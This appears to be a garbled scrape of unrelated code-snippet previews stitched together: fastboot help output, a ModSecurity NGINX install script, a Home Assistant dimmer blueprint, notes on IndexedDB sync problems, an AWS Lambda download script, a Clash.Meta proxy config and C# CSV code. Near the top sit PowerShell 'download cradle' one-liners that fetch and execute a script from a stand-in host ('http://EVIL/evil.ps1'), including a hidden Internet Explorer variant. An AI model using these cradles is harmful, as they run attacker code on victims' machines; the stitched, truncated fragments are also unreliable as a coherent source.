Command:
$ fastboot help
Output:
usage: fastboot [OPTION...] COMMAND...
flashing:
# normal download cradle | |
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") | |
# PowerShell 3.0+ | |
IEX (iwr 'http://EVIL/evil.ps1') | |
# hidden IE com object | |
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r | |
# Msxml2.XMLHTTP COM object |
## | |
# ModSecurity NGINX INSTALLATION SCRIPT | |
## | |
# Install Prerequisite Packages | |
echo "Install Prerequisite Packages"; | |
sudo apt-get install -y apt-utils autoconf automake build-essential git libcurl4-openssl-dev libgeoip-dev liblmdb-dev libpcre++-dev libtool libxml2-dev libyajl-dev pkgconf wget zlib1g-dev | |
OPT_DIR=/opt | |
NGINX_DIR=/etc/nginx |
blueprint: | |
name: IKEA Rodret Dimmer | |
description: "## IKEA RODRET Dimmer remote (v1.2) | |
Only for use with [ZHA](https://www.home-assistant.io/integrations/zha/) | |
Available controls: |
Command:
$ fastboot help
Output:
usage: fastboot [OPTION...] COMMAND...
flashing:
This gist lists challenges you run into when building offline-first applications based on IndexedDB, including open-source libraries like Firebase, pouchdb and AWS amplify (more).
Note that some of the following issues affect only Safari. Out of the major browsers, Chrome's IndexedDB implementation is the best.
When this bug occurs, every time you use the indexeddb, the WAL file grows. Garbage collection doesn't seem to be working, so after a while, you end up with gigabytes of data.
So you want to write a sync system for a web app with offline and realtime support? Good luck. You might find the following resources useful.
Database in a browser, a spec (Stepan Parunashvili)
What problem are we trying to solve with a sync system?
The web of tomorrow (Nikita Prokopov)
# Parallelly download all aws-lambda functions | |
# Assumes you have ran `aws configure` and have output-mode as "text" | |
# Works with "aws-cli/1.16.72 Python/3.6.7 Linux/4.15.0-42-generic botocore/1.12.62" | |
download_code () { | |
local OUTPUT=$1 | |
aws lambda get-function --function-name $OUTPUT --query 'Code.Location' | xargs wget -O ./lambda_functions/$OUTPUT.zip | |
} | |
mkdir -p lambda_functions |
#################################### | |
# 创建者:v2rayse.com | |
# 客户端:Clash.Meta | |
# 创建时间:2023-10-16 11:18:43 | |
# 使用模版:V2RaySE 默认模版 | |
# 节点数量:1 | |
# Stash修改版 | |
#################################### | |
# !!当前配置文件请使用基于 Clash.Meta 内核程序 | |
mixed-port: 7890 |
try | |
{ | |
await using var sqlDataReader = await sqlCommand.ExecuteReaderAsync(cancellationToken); | |
await using var streamWriter = new StreamWriter($"{reportName}_{startDate:dd-MM-yyyy}-{endDate:dd-MM-yyyy}.csv"); | |
await using var csvWriter = new CsvWriter(streamWriter, _csvConfiguration); | |
var columnSchema = sqlDataReader.GetColumnSchema(); | |
var columnCount = columnSchema.Count; | |
// write headers to CSV: |